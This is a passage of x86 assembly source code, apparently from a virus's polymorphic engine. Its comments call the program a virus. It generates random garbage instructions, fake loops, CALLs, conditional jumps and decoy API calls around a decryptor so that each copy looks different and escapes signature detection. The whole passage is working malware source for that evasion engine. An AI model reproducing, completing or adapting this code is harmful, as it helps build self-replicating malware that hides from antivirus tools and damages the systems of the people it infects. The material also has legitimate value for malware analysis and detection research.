||
cmp eax, 8 ; problem when using either signed
|
||
jbe @@OtherRandom ; or unsigned comparisions (this
|
||
cmp eax, 7FFFFFF7h ; means, the initial value of the
|
||
jbe @@RandomOK ; counter and the final one - the
|
||
cmp eax, 80000008h ; compared - can be compared with
|
||
jbe @@OtherRandom ; sign or without sign), so we can
|
||
cmp eax, 0FFFFFFF7h ; use JG/JGE/JA/JAE when decreasing
|
||
jae @@OtherRandom ; and JL/JLE/JB/JBE when increasing,
|
||
; apart of J(N)Z/J(N)S for both
|
||
@@RandomOK: mov [ebp+@@InitLoopValue], eax ; Save that value
|
||
call DoMOV ; Make a mov with the selected reg.
|
||
call DoRandomGarbage ; Make garbage
|
||
mov esi, edi ; Save the looping address
|
||
@@RandomLoopAgain01:
|
||
call DoRandomGarbage ; Make garbage
|
||
cmp esi, edi ; Did it make garbage?
|
||
jz @@RandomLoopAgain01 ; If not, repeat
|
||
call RandomFlags ; Select increasing or decreasing
|
||
setz al ; Set it in AL
|
||
mov [ebp+@@Increasing], al ; Save this flag
|
||
jz @@IncreaseReg ; If ZF (AL=1), increase
|
||
@@DecreaseReg:
|
||
call Random
|
||
and al, 3 ; Get one of three types for decreasing:
|
||
jz @@DecreaseReg ; DEC, ADD -1 or SUB 1
|
||
cmp al, 2
|
||
jb @@DecreaseWithADD
|
||
jz @@DecreaseWithSUB
|
||
@@DecreaseWithDEC:
|
||
mov al, 48h ; Opcode of DEC
|
||
add al, [ebp+@@SelectedRegister] ;Bind the register to the
|
||
stosb ; opcode and store it
|
||
jmp @@RL_Next01
|
||
@@DecreaseWithADD:
|
||
mov ax, 0C083h ; ADD Reg,(Dword-Packed-To-Byte)
|
||
or ah, [ebp+@@SelectedRegister] ; Set the register
|
||
stosw ; Store opcode
|
||
mov al, 0FFh ; ADD Reg,-1
|
||
stosb ; Store it
|
||
jmp @@RL_Next01 ; Jump to complete
|
||
@@DecreaseWithSUB:
|
||
mov ax, 0E883h ; SUB Reg,(Dword-Packed-To-Byte)
|
||
or ah, [ebp+@@SelectedRegister] ; Set the register
|
||
stosw ; Store the opcode
|
||
mov al, 1 ; SUB Reg,1
|
||
stosb ; Store the value
|
||
@@RL_Next01:
|
||
call Random ; Get a number between 4 and 7
|
||
and eax, 3
|
||
add eax, 4
|
||
sub eax, [ebp+@@InitLoopValue] ;Subtract it to the initial
|
||
neg eax ; value and get the final value
|
||
jmp @@PutComparisionForLoop ; Jump to complete
|
||
; Here if we increase
|
||
@@IncreaseReg:
|
||
call Random ; Get randomly INC, ADD 1 or SUB -1
|
||
and al, 3
|
||
jz @@IncreaseReg
|
||
cmp al, 2
|
||
jb @@IncreaseWithADD
|
||
jz @@IncreaseWithSUB
|
||
@@IncreaseWithDEC:
|
||
mov al, 40h ; INC Reg
|
||
add al, [ebp+@@SelectedRegister] ; Set the register
|
||
stosb ; Store it
|
||
jmp @@RL_Next02 ; Jump to continue
|
||
@@IncreaseWithADD:
|
||
mov ax, 0C083h ; ADD Reg,(Dword-Packed-To-Byte)
|
||
or ah, [ebp+@@SelectedRegister] ; Set the register
|
||
stosw ; Store the opcode
|
||
mov al, 01h ; ADD Reg,1
|
||
stosb ; Store the value
|
||
jmp @@RL_Next02 ; Jump to continue
|
||
@@IncreaseWithSUB:
|
||
mov ax, 0E883h ; SUB Reg,(Dword-Packed-To-Byte)
|
||
or ah, [ebp+@@SelectedRegister] ; Bind the register
|
||
stosw ; Store the opcode
|
||
mov al, 0FFh ; SUB Reg,-1
|
||
stosb ; Store the value
|
||
@@RL_Next02:
|
||
call Random ; Get a value between 4 and 7
|
||
and eax, 3
|
||
add eax, 4
|
||
add eax, [ebp+@@InitLoopValue] ; Add it to the initial
|
||
; value to get the final value
|
||
@@PutComparisionForLoop:
|
||
push eax ; Save the final value of the counter
|
||
cmp byte ptr [ebp+@@SelectedRegister], 0 ; Is EAX the re-
|
||
; gister that we are using?
|
||
jz @@CMP_EAX ; If it is, use the EAX exclusive opcode
|
||
; to do CMP
|
||
mov ax, 0F881h ; Opcode of CMP
|
||
or ah, [ebp+@@SelectedRegister] ; Set the register
|
||
stosw ; Store the opcode
|
||
jmp @@RL_Next03 ; Jump and continue
|
||
@@CMP_EAX: mov al, 3Dh ; Use the opcode of CMP EAX,Value
|
||
stosb ; Store it
|
||
@@RL_Next03: pop eax ; Get the value to CMP
|
||
stosd ; Store the value
|
||
movzx ebx, byte ptr [ebp+@@Increasing] ; EBX=0 or 1
|
||
shl ebx, 3 ; EBX=0 or 8
|
||
lea ebx, [ebp+ebx+@@JumpsForLoopD] ; EBX=Address of jumps
|
||
; table
|
||
@@RL_Next04: call Random ; Get a random number between 0 and 5
|
||
and eax, 7
|
||
cmp eax, 6
|
||
jae @@RL_Next04
|
||
mov al, [ebx+eax] ; Get a jump opcode
|
||
sub esi, edi
|
||
sub esi, 2 ; Get the loop distance for the jump back
|
||
cmp esi, -80h ; Check if we use the 8 bits opcode or
|
||
jae @@RL_Next05 ; the 32 one. Jump if we use the 8 bits
|
||
; conditional jump.
|
||
sub esi, 4 ; Add 4 to the displacement back
|
||
|
||
mov ah, al
|
||
add ah, 10h ; Convert the 8 bits opcode to the 32
|
||
mov al, 0Fh ; bits one
|
||
stosw ; Store it
|
||
xchg esi, eax
|
||
stosd ; Store the displacement
|
||
jmp @@RL_Next06 ; Jump and continue
|
||
@@RL_Next05: stosb ; Store the 8 bits opcode
|
||
xchg esi, eax
|
||
stosb ; Store the displacement
|
||
@@RL_Next06: call DoRandomGarbage
|
||
mov al, [ebp+@@SelectedRegister]
|
||
add al, 58h ; Store POP with the used register
|
||
stosb
|
||
mov byte ptr [ebp+ImInRandomLoop], 0
|
||
jmp @@Return
|
||
|
||
@@JumpsForLoopD db 79h, 75h, 77h, 73h, 7Fh, 7Dh, 0, 0
|
||
; JNS, JNZ, JA, JAE, JG, JGE
|
||
@@JumpsForLoopI db 78h, 75h, 72h, 76h, 7Ch, 7Eh, 0, 0
|
||
; JS, JNZ, JB, JBE, JL, JLE
|
||
@@SelectedRegister db 0
|
||
@@InitLoopValue dd 0
|
||
@@Increasing db 0
|
||
|
||
@@Recurs_002: call RandomFlags ; Select if we do a CALL or a jump
|
||
jz @@DoConditionalJump ; Make a conditional jump if ZF
|
||
js @@DoCALL
|
||
@@APICall: cmp byte ptr [ebp+ImInRandomLoop], 1
|
||
jz @@Make1
|
||
call RandomFlags
|
||
jz @@Make1
|
||
call InsertAPICall
|
||
jmp @@Return
|
||
@@DoCALL: call RandomFlags
|
||
jz @@NormalCALL
|
||
movzx eax, byte ptr [ebp+GarbageRecursivity]
|
||
dec eax
|
||
mov ecx, eax
|
||
shl ecx, 5
|
||
add ecx, eax
|
||
shl ecx, 2
|
||
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 4
|
||
jb @@NormalCALL
|
||
ja @@SelectRandomFixedCALL
|
||
mov eax, [ebp+ecx+ArrayOfCalls1]
|
||
jmp @@ContinueFixedCALL_002
|
||
@@SelectRandomFixedCALL:
|
||
lea esi, [ebp+ecx+ArrayOfCalls1]
|
||
@@LoopFixedCALL_001:
|
||
call Random
|
||
and eax, 3Ch
|
||
cmp eax, [ebp+ecx+ArrayOfCalls1Ndx]
|
||
jae @@LoopFixedCALL_001
|
||
add eax, ecx
|
||
mov eax, [ebp+eax+ArrayOfCalls1]
|
||
@@ContinueFixedCALL_002:
|
||
sub eax, [ebp+DecryptorBeginAddress]
|
||
add eax, [ebp+DecryptorVirtualBeginAddress]
|
||
call MakeCALLTo
|
||
jmp @@Return
|
||
|
||
@@NormalCALL:
|
||
cmp dword ptr [ebp+CallsLevel1Ndx], 20h*4
|
||
jz @@Make1 ; If we can't do more level 1 calls, do other
|
||
; type of garbage
|
||
cmp dword ptr [ebp+CallsLevel2Ndx], 20h*4
|
||
jz @@Make1 ; If we can't do more level 2 calls, do other
|
||
; type of garbage
|
||
cmp dword ptr [ebp+CallsLevel3Ndx], 20h*4
|
||
jz @@Make1 ; If we can't do more level 3 calls, do other
|
||
; type of garbage
|
||
cmp byte ptr [ebp+KeyIsInit], 1 ; Is the key register set?
|
||
jnz @@Make1 ; If it isn't, then avoid CALLs.
|
||
; Explanation: we make first the CALL and quite later
|
||
; we code the subroutine itself. Then, we maybe put
|
||
; inside the subroutines any indexed memory access,
|
||
; for which we need the Key register with its correct
|
||
; value. If it isn't set yet, then when call to the
|
||
; subroutine we'll use the Key register as index but
|
||
; with an unknown value.
|
||
call RandomFlags ; Stack entries?
|
||
jz @@NoStack
|
||
js @@NoStack
|
||
; Put stack entries with a 25% of probability
|
||
mov byte ptr [ebp+@@WithStack], 1 ; Mark it
|
||
call Random
|
||
and eax, 3
|
||
inc eax ; Get a number between 1 and 4
|
||
mov byte ptr [ebp+@@StackEntries], al ; Save this number
|
||
mov ecx, eax ; ECX=that number
|
||
@@LoopInsertEntries:
|
||
mov al, 68h ; Opcode of PUSH Value
|
||
stosb ; Store it
|
||
@@AnotherValueTypeForStack:
|
||
call Random ; Get a random type of value to push
|
||
and al, 3
|
||
jz @@PushRegister ; AL=0? Then push a register
|
||
cmp al, 2
|
||
jb @@PushAddress ; AL=1? Then push a memory address
|
||
jz @@PushPureRandom ; AL=2? Then push a random dword
|
||
@@PushPseudoFlags: ; AL=3? Then push a random < 10000h
|
||
call Random ; (like flags)
|
||
and eax, 0FFFFh
|
||
jmp @@NextStackEntry ; Store value
|
||
@@PushAddress:
|
||
call SelectAnAddressLow ; Get an address
|
||
mov eax, ebx ; Put it into EAX and jump to store it
|
||
jmp @@NextStackEntry ; Jump to store it
|
||
@@PushRegister:
|
||
call SelectAnyRegisterWithInit
|
||
dec edi
|
||
add al, 50h
|
||
stosb
|
||
jmp @@ContinueStackEntries
|
||
@@PushPureRandom:
|
||
call Random ; EAX=Random value
|
||
@@NextStackEntry:
|
||
cmp eax, 7Fh
|
||
jbe @@TwoBytesEntry
|
||
cmp eax, 0FFFFFF80h ; Is the value between -80h and 7Fh?
|
||
jae @@TwoBytesEntry ; If it is, change the opcode
|
||
stosd ; Store the dword
|
||
jmp @@ContinueStackEntries ; Jump and continue
|
||
|
||
@@TwoBytesEntry:
|
||
mov byte ptr [edi-1], 6Ah ; Change the opcode by PUSH
|
||
stosb ; Packed_Dword_Value and store the value to push
|
||
@@ContinueStackEntries:
|
||
loop @@LoopInsertEntries ; Loop and make it ECX times
|
||
jmp @@ContinueCALL ; Continue the CALL coding
|
||
;; Here if we don't use stack
|
||
@@NoStack: mov byte ptr [ebp+@@WithStack], 0 ; Set this variable
|
||
@@ContinueCALL:
|
||
mov al, 0E8h
|
||
stosb ; Insert a CALL opcode
|
||
movzx ebx, byte ptr [ebp+GarbageRecursivity] ; Get the level
|
||
dec ebx ; of the stack
|
||
mov ecx, ebx
|
||
shl ebx, 5 ; *20h
|
||
add ebx, ecx ; *21h
|
||
shl ebx, 2 ; *84h, so we get the level multiplied by
|
||
; 84h, to use a generic way of setting the
|
||
; CALL data into the arrays depending on the
|
||
; level
|
||
mov ecx, [ebp+ebx+CallsLevel1Ndx] ;Get the index of inser-
|
||
;tion
|
||
add ecx, ebx ; Add the level*84h
|
||
mov dword ptr [ebp+ecx+CallsLevel1], edi ; Set the current
|
||
; address into the array for later completion
|
||
add dword ptr [ebp+ebx+CallsLevel1Ndx], 4 ; Increase the
|
||
; index of insertion
|
||
add edi, 4 ; Leave space for the CALL displacement and
|
||
; complete it later
|
||
cmp byte ptr [ebp+@@WithStack], 1 ; Have we used stack?
|
||
jnz @@Return ; If not, finish
|
||
mov ax, 0C483h ; AX=Opcode of the instruction ADD ESP,xxx
|
||
stosw ; Store the opcode
|
||
mov al, byte ptr [ebp+@@StackEntries] ; Get the number to
|
||
shl al, 2 ; add to ESP to release the stack
|
||
stosb ; Store it
|
||
jmp @@Return ; Return
|
||
|
||
@@WithStack db 0 ; Variables used before
|
||
@@StackEntries db 0
|
||
|
||
;; Here we make a random conditional jump. The comparision is absolutely
|
||
;; random, so it's the condition to jump. Between the jump and the destiny
|
||
;; we make functional garbage, since we don't know if the jump is going to
|
||
;; be taken or not.
|
||
@@DoConditionalJump:
|
||
call SelectARegisterWithInit ; Get a initialized register
|
||
mov dl, al ; Save it in DL
|
||
call RandomFlags ; CMP Reg,Value or CMP Reg,Reg?
|
||
jz @@CMP_Reg ; Then make a CMP Reg,Reg
|
||
@@CMP_Value:
|
||
or dl, dl
|
||
jnz @@CMP_Value_NoEax
|
||
mov al, 3Dh
|
||
stosb
|
||
jmp @@CMP_Value_Cont00
|
||
@@CMP_Value_NoEax:
|
||
mov ax, 0F881h ; Opcode of CMP Reg,Value
|
||
or ah, dl ; Set the register
|
||
stosw ; Store it
|
||
@@CMP_Value_Cont00:
|
||
call Random
|
||
stosd ; Store a random value to compare
|
||
jmp @@CJ_Again ; Jump to continue
|
||
@@CMP_Reg:
|
||
call SelectAnyRegisterWithInit ; Get any initialized regis-
|
||
; ter (all can be selected but ESP)
|
||
cmp al, dl ; Is it the same as the selected before?
|
||
jz @@CMP_Reg ; If it is the same, then repeat
|
||
mov dh, al ; Save it in DH
|
||
mov ax, 0C03Bh ; 3B C0, opcode of CMP Reg,Reg
|
||
or ah, dl ; Set the selected registers
|
||
shl dh, 3
|
||
or ah, dh
|
||
stosw ; Store the opcode
|
||
; Let's do a random conditional jump
|
||
@@CJ_Again:
|
||
call Random
|
||
and al, 0Fh
|
||
add al, 70h ; Get a conditional jump random opcode
|
||
stosb ; Store it
|
||
inc edi ; Leave space for the displacement
|
||
@@CJ_Again3:
|
||
push dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
|
||
push dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
|
||
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
|
||
; because it's too long, we have to restore
|
||
; this to not set any inexistent CALL dis-
|
||
; placement over other code that's not a
|
||
; CALL
|
||
@@CJ_Again2:
|
||
mov esi, edi ; Save the actual storage index
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage ; Make garbage
|
||
sub esi, edi ; Get the (-)displacement of the jump
|
||
jz @@CJ_Again2 ; If it's zero, loop to make garbage
|
||
neg esi ; Calculate true displacement
|
||
cmp esi, 7Fh ; Does it overpass the limit for displac.?
|
||
jbe @@CJ_OK ; If not, jump and continue
|
||
pop dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
|
||
pop dword ptr [ebp+CallsLevel2Ndx] ; nating any created
|
||
pop dword ptr [ebp+CallsLevel1Ndx] ; call before
|
||
sub edi, esi ; Restore EDI...
|
||
jmp @@CJ_Again3 ; ...and repeat the garbage generation
|
||
; Here if the size of the garbage is correct
|
||
@@CJ_OK: pop eax ; Release the data in stack
|
||
pop eax
|
||
pop eax
|
||
mov eax, esi ; Put the displacement in AL
|
||
neg esi ; Calculate the distance until the opcode
|
||
mov byte ptr [edi+esi-1], al ; Set the displacement in
|
||
; the opcode
|
||
; jmp @@Return
|
||
|
||
@@Return:
|
||
@@DontMake: mov [esp+S_EDI], edi ; Conserve EDI when POPAD
|
||
dec byte ptr [ebp+GarbageRecursivity] ; Decrease recursi-
|
||
; vity level
|
||
popad
|
||
ret ; Return completely or just to another running instan-
|
||
; ce of Garbage
|
||
Garbage endp
|
||
|
||
ImInRandomLoop db 0 ; Variable to avoid nested garbage loops
|
||
|
||
;; EAX=Address to make a CALL to
|
||
MakeCALLTo proc
|
||
pushad
|
||
mov ebx, eax
|
||
call RandomFlags
|
||
jz @@CALLToMem
|
||
@@CALLToReg: call Random
|
||
and eax, 3
|
||
cmp eax, 2
|
||
jz @@CALLToReg ; No key register!
|
||
mov dl, [ebp+eax+Index1Register]
|
||
cmp dl, 8
|
||
jnz @@CALLToReg2
|
||
mov dl, [ebp+Index1Register]
|
||
@@CALLToReg2: call DoPUSHReg
|
||
call DoRandomGarbage
|
||
mov eax, ebx
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
mov ax, 0D0FFh
|
||
or ah, dl
|
||
stosw
|
||
call DoRandomGarbage
|
||
call DoPOPReg
|
||
jmp @@Return
|
||
|
||
@@CALLToMem: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@CALLToReg
|
||
|
||
call RandomFlags
|
||
jz @@MoveToRegForCALL
|
||
@@DirectCALLToMem:
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call RandomFlags
|
||
jz @@DC_00
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@DC_00
|
||
push ebx
|
||
mov ax, 10FFh
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jbe @@DC_01
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@DC_01
|
||
or ah, 80h
|
||
or ah, [ebp+KeyRegister]
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@DC_02
|
||
@@DC_01: or ah, 40h
|
||
or ah, [ebp+KeyRegister]
|
||
stosw
|
||
mov al, bl
|
||
stosb
|
||
@@DC_02: pop ebx
|
||
@@DC_03: call ReleaseVar
|
||
jmp @@Return
|
||
@@DC_00: mov ax, 15FFh
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@DC_03
|
||
|
||
@@MoveToRegForCALL:
|
||
mov ecx, eax
|
||
call RandomFlags
|
||
jz @@DirectValueForCALL
|
||
call Random
|
||
sub ebx, eax
|
||
mov byte ptr [ebp+@@PureValue], 0
|
||
mov dword ptr [ebp+@@ValueToAdd], eax
|
||
jmp @@DVFC_001
|
||
@@DirectValueForCALL:
|
||
mov byte ptr [ebp+@@PureValue], 1
|
||
mov dword ptr [ebp+@@ValueToAdd], 0
|
||
@@DVFC_001: call Random
|
||
and eax, 3
|
||
cmp eax, 2
|
||
jz @@DVFC_001
|
||
mov dl, [ebp+eax+Index1Register]
|
||
cmp dl, 8
|
||
jnz @@DVFC_001_
|
||
mov dl, [ebp+Index1Register]
|
||
@@DVFC_001_: call RandomFlags
|
||
jz @@FirstMovReg
|
||
@@FirstMovMem:
|
||
call RandomFlags
|
||
jz @@FMM_PushFirst
|
||
mov eax, ecx
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
push ebx
|
||
add ebx, [ebp+@@ValueToAdd]
|
||
call DoMOVMemValue
|
||
pop ebx
|
||
call DoRandomGarbage
|
||
call DoPUSHReg
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
@@FMM_001: push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoRandomGarbage
|
||
mov eax, ebx
|
||
call DoMOV
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
jmp @@InsertCALL
|
||
@@FMM_PushFirst:
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoPUSHReg
|
||
call DoRandomGarbage
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
mov eax, ecx
|
||
push ebx
|
||
add ebx, [ebp+@@ValueToAdd]
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoMOVMemValue
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
pop ebx
|
||
jmp @@FMM_001
|
||
@@FirstMovReg:
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoPUSHReg
|
||
call DoRandomGarbage
|
||
mov eax, ebx
|
||
call DoMOV
|
||
call DoRandomGarbage
|
||
mov eax, ecx
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
push ebx
|
||
add ebx, [ebp+@@ValueToAdd]
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoMOVMemValue
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
pop ebx
|
||
@@InsertCALL:
|
||
push dword ptr [ebp+@@PureValue]
|
||
push dword ptr [ebp+@@ValueToAdd]
|
||
call DoRandomGarbage
|
||
pop dword ptr [ebp+@@ValueToAdd]
|
||
pop dword ptr [ebp+@@PureValue]
|
||
mov ax, 10FFh
|
||
or ah, dl
|
||
cmp byte ptr [ebp+@@PureValue], 1
|
||
jz @@WithoutAddition
|
||
@@WithAddition:
|
||
cmp dword ptr [ebp+@@ValueToAdd], 7Fh
|
||
jbe @@WA_byte
|
||
cmp dword ptr [ebp+@@ValueToAdd], 0FFFFFF80h
|
||
jae @@WA_byte
|
||
or ah, 80h
|
||
stosw
|
||
mov eax, [ebp+@@ValueToAdd]
|
||
stosd
|
||
jmp @@OK2
|
||
@@WA_byte: or ah, 40h
|
||
stosw
|
||
mov eax, [ebp+@@ValueToAdd]
|
||
stosb
|
||
jmp @@OK2
|
||
|
||
@@WithoutAddition:
|
||
cmp dl, 5
|
||
jz @@WithAddition
|
||
@@OK: stosw
|
||
@@OK2: call DoRandomGarbage
|
||
call DoPOPReg
|
||
call ReleaseVar
|
||
; jmp @@Return
|
||
|
||
@@Return: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
@@PureValue db 0
|
||
@@ValueToAdd dd 0
|
||
|
||
MakeCALLTo endp
|
||
|
||
ReserveReg proc
|
||
pushad
|
||
@@OtherRandom:
|
||
call Random
|
||
and eax, 3
|
||
cmp eax, 2
|
||
jz @@OtherRandom
|
||
mov dl, [ebp+eax+Index1Register]
|
||
cmp dl, 8
|
||
jnz @@AnyReg
|
||
mov dl, [ebp+Index1Register]
|
||
@@AnyReg: call DoPUSHReg
|
||
@@Return: mov [esp+S_EDX], edx
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
ReserveReg endp
|
||
|
||
ReleaseReg proc
|
||
pushad
|
||
call DoPOPReg
|
||
@@Return: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
ReleaseReg endp
|
||
|
||
|
||
;; This function selects a readable/writable memory address that can be used
|
||
;; for memory operations without causing any exception. It will get any
|
||
;; address from five frames that are prepared from the beginning. In this
|
||
;; virus there are five frames, but in another maybe there is one or two, so
|
||
;; we simply would put the same frames in the different variables.
|
||
;; I use here the .bss section (as a normal application does), and since the
|
||
;; section of the virus is theorically a data section, then some data frames
|
||
;; that the virus sets with its values while executing, not needing what was
|
||
;; there (that idea was made in MeDriPolEn, but now I pulished it).
|
||
SelectAnAddress proc
|
||
push eax
|
||
push ecx
|
||
@@Again: call Random
|
||
and eax, 7
|
||
cmp eax, 5 ; Get a data frame from 0 to 4
|
||
jae @@Again
|
||
mov ebx, [ebp+4*eax+BssSection] ; Get the address of that
|
||
; frame
|
||
|
||
; I think a normal .bss section has 256 bytes at least! (and the others I'm
|
||
; sure they have them)
|
||
@@Again2: call Random
|
||
cmp byte ptr [ebp+SelectLowAddress], 1
|
||
jz @@LowAddress
|
||
and eax, 03Ch
|
||
cmp al, 30h
|
||
ja @@Again2
|
||
or al, 80h
|
||
jmp @@Done
|
||
@@LowAddress:
|
||
and eax, 7Ch
|
||
@@Done: add ebx, eax ; Now we have a random address
|
||
cmp dword ptr [ebp+ReservedBssAddress], ebx ; See if it's
|
||
; equal to the reserved one
|
||
jz @@Again ; If it's equal (what a casuality!) then
|
||
; select another
|
||
mov ecx, 20h
|
||
@@Loop_01: cmp ebx, [ebp+4*ecx+ReservedMemVars_Addr-4]
|
||
jz @@Again
|
||
loop @@Loop_01
|
||
|
||
@@Return: pop ecx
|
||
pop eax
|
||
ret ; Return
|
||
SelectAnAddress endp
|
||
|
||
SelectAnAddressLow proc
|
||
mov byte ptr [ebp+SelectLowAddress], 1
|
||
jmp SelectAnAddress
|
||
SelectAnAddressLow endp
|
||
|
||
SelectAnAddressHigh proc
|
||
mov byte ptr [ebp+SelectLowAddress], 0
|
||
jmp SelectAnAddress
|
||
SelectAnAddressHigh endp
|
||
|
||
SelectLowAddress db 0
|
||
|
||
;; This function gets a random register (random number between 0 and 7) and
|
||
;; keep on getting it until that number doesn't coincide with any reserved
|
||
;; register identificator, nor with ESP, nor with the selected in the last
|
||
;; call to this function or similar.
|
||
SelectARegister proc
|
||
call Random
|
||
and al, 7 ; Random between 0 and 7
|
||
cmp al, 4 ; ESP?
|
||
jz SelectARegister ; Then, repeat
|
||
cmp al, byte ptr [ebp+Index1Register] ; Equal to Index1?
|
||
jz SelectARegister ; Then, repeat
|
||
cmp al, byte ptr [ebp+Index2Register] ; Equal to Index2?
|
||
jz SelectARegister ; Then, repeat
|
||
cmp al, byte ptr [ebp+KeyRegister] ; Equal to Key?
|
||
jz SelectARegister ; Then, repeat
|
||
cmp al, byte ptr [ebp+BufferRegister] ; Equal to Buffer?
|
||
jz SelectARegister ; Then, repeat
|
||
cmp al, byte ptr [ebp+RegisterSelectedB4] ; If it's equal
|
||
jz SelectARegister ; to the last selected one, repeat
|
||
mov byte ptr [ebp+RegisterSelectedB4], al ; Save as the
|
||
ret ; last selected, and return
|
||
SelectARegister endp
|
||
|
||
;; This function does the same as the function above but with a 8 bits regis-
|
||
;; ter, so it can only select E?X registers. Since there are four reserved
|
||
;; registers and only four composed registers (E?X), maybe this registers are
|
||
;; all reserved, so we check it before, returning the value 8 if no 8 bits re-
|
||
;; gister can be selected. Also we initialize the register if the selected one
|
||
;; hasn't been "touched" before, since we only use 8 bits registers to make
|
||
;; garbage.
|
||
SelectAReg8 proc
|
||
cmp byte ptr [ebp+Index1Register], 3 ; E?X?
|
||
ja @@NoProblemo ; If, not, continue
|
||
cmp byte ptr [ebp+Index2Register], 3 ; E?X?
|
||
ja @@NoProblemo ; If, not, continue
|
||
cmp byte ptr [ebp+KeyRegister], 3 ; E?X?
|
||
ja @@NoProblemo ; If, not, continue
|
||
cmp byte ptr [ebp+BufferRegister], 3 ; E?X?
|
||
ja @@NoProblemo ; If, not, continue
|
||
mov al, 8 ; Since all reserved are E?X, we can't conti-
|
||
ret ; nue
|
||
@@NoProblemo:
|
||
call Random
|
||
and al, 3 ; Get a E?X register
|
||
cmp al, byte ptr [ebp+Index1Register] ; Is it reserved?
|
||
jz @@NoProblemo ; If not, continue
|
||
cmp al, byte ptr [ebp+Index2Register] ; Is it reserved?
|
||
jz @@NoProblemo ; If not, continue
|
||
cmp al, byte ptr [ebp+KeyRegister] ; Is it reserved?
|
||
jz @@NoProblemo ; If not, continue
|
||
cmp al, byte ptr [ebp+BufferRegister] ; Is it reserved?
|
||
jz @@NoProblemo ; If not, continue
|
||
push eax
|
||
and eax, 0FFh ; Look if the register is "touched"
|
||
cmp byte ptr [ebp+eax+TouchedRegisters], 1
|
||
jz @@OK ; If it is, jump and continue
|
||
push edx ; Save registers
|
||
mov dl, al ; DL=Selected 32 bits register
|
||
call Random ; Set a random value
|
||
call DoMOV ; Make a MOV (or similar) with the reg and the
|
||
pop edx ; value, and restore the registers from stack
|
||
@@OK: pop eax
|
||
and ah, 4
|
||
or al, ah ; Select random ?L or ?H
|
||
ret ; Return
|
||
SelectAReg8 endp
|
||
|
||
;; API calling thingies
|
||
InsertAPICall proc
|
||
pushad
|
||
cmp byte ptr [ebp+ImInAPI], 1
|
||
jz @@End2
|
||
cmp byte ptr [ebp+AnyAPIFound], 1
|
||
jnz @@End2
|
||
mov byte ptr [ebp+ImInAPI], 1
|
||
mov byte ptr [ebp+APICall_StackOrder], 0
|
||
|
||
lea ebx, [ebp+offset APICall_SaveEAX]
|
||
lea ecx, [ebp+offset APICall_SaveECX]
|
||
lea edx, [ebp+offset APICall_SaveEDX]
|
||
lea esi, [ebp+offset DoRandomGarbage]
|
||
call RandomCalling
|
||
|
||
cmp byte ptr [ebp+FirstAPICall], 2
|
||
jz @@Normal
|
||
@@OtherRandom:
|
||
inc byte ptr [ebp+FirstAPICall]
|
||
call Random
|
||
and eax, 30h
|
||
jmp @@Continue1
|
||
@@Normal:
|
||
call Random
|
||
and eax, 1Fh
|
||
mov ebx, eax
|
||
call Random
|
||
and eax, 0Fh
|
||
sub ebx, eax
|
||
jbe @@Normal
|
||
mov eax, 1Fh
|
||
sub eax, ebx
|
||
shl eax, 4 ; *10h
|
||
@@Continue1:
|
||
mov esi, eax
|
||
@@LoopSearch:
|
||
cmp dword ptr [ebp+esi+APIInfo+4], 0
|
||
jnz @@APIFound
|
||
add esi, 10h
|
||
cmp esi, 20h*10h
|
||
jb @@LoopSearch
|
||
xor esi, esi
|
||
jmp @@LoopSearch
|
||
@@APIFound: mov al, byte ptr [ebp+esi+APIInfo+0Ah]
|
||
call PushParameter
|
||
mov al, byte ptr [ebp+esi+APIInfo+09h]
|
||
call PushParameter
|
||
mov al, byte ptr [ebp+esi+APIInfo+08h]
|
||
call PushParameter
|
||
|
||
call RandomFlags
|
||
jz @@WithAddition
|
||
|
||
@@WithoutAddition:
|
||
mov ax, 15FFh ;; CALL DWORD PTR [xxx]
|
||
stosw
|
||
mov eax, [ebp+esi+APIInfo+04h]
|
||
stosd
|
||
jmp @@Continue
|
||
|
||
@@WithAddition:
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@WithoutAddition
|
||
mov ax, 10FFh
|
||
or ah, [ebp+KeyRegister]
|
||
mov ecx, [ebp+esi+APIInfo+04]
|
||
sub ecx, [ebp+DecryptKey]
|
||
cmp ecx, 7Fh
|
||
jbe @@AddByte
|
||
cmp ecx, 0FFFFFF80h
|
||
jae @@AddByte
|
||
or ah, 80h
|
||
stosw
|
||
mov eax, ecx
|
||
stosd
|
||
jmp @@Continue
|
||
